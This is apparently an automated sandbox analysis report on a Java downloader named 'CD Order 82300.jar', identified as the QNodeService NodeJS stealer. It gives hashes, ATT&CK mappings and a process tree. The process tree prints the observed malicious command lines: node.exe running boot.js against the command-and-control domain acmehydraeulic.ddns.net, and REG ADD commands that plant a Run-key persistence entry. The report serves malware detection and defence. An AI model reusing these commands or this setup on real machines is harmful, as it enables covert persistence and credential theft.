qnodeservice | 16ae20e84040cff111b7c11b0b56d495f2ce483bf3b8a5cd71a3b46103f71491

General

Target

CD Order 82300.jar
Size

74KB
MD5

818d4e622ada384e3d7b2559e8143ed9
SHA1

83ba200f8f7cd26adacc4598a32dbb366f57a890
SHA256

16ae20e84040cff111b7c11b0b56d495f2ce483bf3b8a5cd71a3b46103f71491
SHA512

8092f09c7138aa32dbe1d02d2c050edeb1eeaa2c933c706827dfef17bd9d4904f81c221a14e3a60f4519e76b8bfe9a602a2284053559e2f2867f419b76cdfbff

Score

10^/10

trojan qnodeservice persistence spyware

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
784	node.exe
2980	node.exe
3880	node.exe

Loads dropped DLL 6 IoCs

pid	Process
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\2fb8911f-f8f1-4349-80f4-b0c916a5b6b0 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad3e-164.dat	js
behavioral2/files/0x000100000001ad3e-167.dat	js
behavioral2/files/0x000100000001ad3e-171.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	wtfismyip.com
23	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
784	node.exe
784	node.exe
784	node.exe
784	node.exe
2980	node.exe
2980	node.exe
2980	node.exe
2980	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe
3880	node.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3888 wrote to memory of 3780	3888	java.exe	73
PID 3888 wrote to memory of 3780	3888	java.exe	73
PID 3780 wrote to memory of 784	3780	javaw.exe	77
PID 3780 wrote to memory of 784	3780	javaw.exe	77
PID 784 wrote to memory of 2980	784	node.exe	79
PID 784 wrote to memory of 2980	784	node.exe	79
PID 2980 wrote to memory of 3880	2980	node.exe	80
PID 2980 wrote to memory of 3880	2980	node.exe	80
PID 3880 wrote to memory of 3912	3880	node.exe	82
PID 3880 wrote to memory of 3912	3880	node.exe	82
PID 3912 wrote to memory of 2412	3912	cmd.exe	83
PID 3912 wrote to memory of 2412	3912	cmd.exe	83
PID 3880 wrote to memory of 2964	3880	node.exe	84
PID 3880 wrote to memory of 2964	3880	node.exe	84
PID 2964 wrote to memory of 3432	2964	cmd.exe	85
PID 2964 wrote to memory of 3432	2964	cmd.exe	85

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar "C:\Users\Admin\AppData\Local\Temp\CD Order 82300.jar"
1⤵
- Suspicious use of WriteProcessMemory
PID:3888
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\7e843848.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:784
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_NrOKd9\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2980
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_NrOKd9\boot.js --hub-domain acmehydraeulic.ddns.net --hub-domain localhost
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3880
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2fb8911f-f8f1-4349-80f4-b0c916a5b6b0" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3912
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2fb8911f-f8f1-4349-80f4-b0c916a5b6b0" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2412
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2fb8911f-f8f1-4349-80f4-b0c916a5b6b0" /F"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2964
        
        C:\Windows\system32\reg.exe
        
        REG DELETE "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "2fb8911f-f8f1-4349-80f4-b0c916a5b6b0" /F
        7⤵
        
        PID:3432

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/784-165-0x000001C83F000000-0x000001C83F001000-memory.dmp

Filesize
4KB

Download
memory/2980-168-0x0000013793280000-0x0000013793281000-memory.dmp

Filesize
4KB

Download
memory/3880-172-0x000002C8C0540000-0x000002C8C0541000-memory.dmp

Filesize
4KB

Download

Analysis

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